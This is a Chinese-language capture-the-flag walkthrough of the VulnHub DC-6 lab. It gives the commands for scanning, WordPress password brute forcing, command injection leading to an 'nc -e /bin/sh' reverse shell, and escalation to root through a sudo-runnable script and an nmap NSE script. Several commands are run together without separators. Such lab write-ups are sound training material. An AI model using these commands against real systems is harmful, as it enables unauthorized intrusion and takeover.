DC-6靶场下载地址:https://download.vulnhub.com/dc/DC-6.zip
目标
本机IP:192.168.118.128
靶机IP:192.168.118.0/24
信息收集
主机发现
arp-scan 192.168.118.0/24
根据上图得出目标主机为192.168.118.143
扫描端口,扫描服务
nmap -p- 192.168.118.143nmap -sV -A 192.168.118.143
扫描出开放了80端和22端口及两个服务
结合里面的信息,应该是要修改hosts,进入文件添加如下信息
访问web页面,也没有什么可以利用的,但是发现CMS应该是WordPress,使用whatweb查看一下,确实是这样的
目录扫描
使用dirsearch扫描一下目录,这里主要扫描到的是一个后台登录目录 /wp-login.php
密码爆破
使用 wpsan 爆破用户名
wpsan是一款专门用来扫描 WordPress网站漏洞的工具
wpscan --url http://wordy -e u
这里扫描出来了五个账户名:admin,mark,grahan,sarah,jens
这个靶场简介里面给了我们一个提示
不出意外应该是直接进行暴力破解了
直接使用提示中的命令进行密码的提取
cat /usr/share/wordlists/rockyou.txt | grep k01 > passwords.txt
第一次发现失败了,查找以后发现rockyou.txt文件被压缩为rockyou.txt.gz
首先在 /usr/share/wordlists中使用gzip -d rockyou.txt.gz解压
再次运行上述命令,密码被成功提取到桌面
然后我们再桌面创建users.txt文件,将之前得到的账户名写入
touch users.txt
vim users.txt
使用wpsan爆破账号密码,成功跑出(mark :helpdesk01)
使用 mark 的账号密码成功登录到后台管理页面,找到了一个IP地址转换的工具,可以对输入的IP地址进行计算
这里对输入的字符长度有限制,直接修改JS前端的限制,经过测试,这里的输入框是存在任意命令执行漏洞的
反弹shell
nc -lvvp 6666192.168.110.123;nc -e /bin/sh 192.168.118.128 6666
反弹shell成功,发现不是稳定shell,老套路上传脚本升级为交互式shell
python -c "import pty;pty.spawn('/bin/bash')"
尝试一下SUID提权,寻找有SUID权限(4000)的文件,过滤其他的错误信息
find / -perm -4000 2>/dev/null
并没有看到常用的SUID提权命令(nmap、vim、find、bash、more、less、nano、cp 等)
在home目录下查看有用信息,查询到四个用户,查看四个用户下的特殊文件,在jens内有一个备份文件backups.sh,在mark下有一个stuff文件
在用户jens下执行backups.sh文件,发现没有权限执行
再次进入用户mark目录下寻找信息,最终得到了graham的密码:graham :GSo7isUM1D4
然后使用su - graham 命令直接切换用户
提权
使用sudo -l 查看是否有免密码的root权限
尝试写入/bin/bash,直接免密码切换到 jens 用户
echo "/bin/bash" >> backups.shsudo -u jens ./backups.sh
查看是否有suid提权或者sudo提权的可能
find / -perm -4000 2>/dev/nullsudo -l
nmap提权
原理:
假设你有权限以 root 用户身份运行nmap,如果攻击者能够控制或访问你的系统,他们可以利用这个脚本获得 root 权限的 shell。
将字符串 os.execute("/bin/bash")
写入到名为 root.nes
的文件中。这个文件是一个 NSE脚本,用于在扫描过程中执行特定的操作。在这个例子中,它包含了一行 Lua 代码,告诉 Nmap 在目标主机上执行 /bin/bash
使用nmap工具来执行之前创建的 root.nes
脚本。sudo -u root
表示以 root 用户的身份运行nmap命令。--script=root.nes参数指定了要使用的 NSE 脚本
echo 'os.execute("/bin/bash")' > root.nessudo -u root nmap --script=root.nes
提权成功,进入 /root 查找,得到flag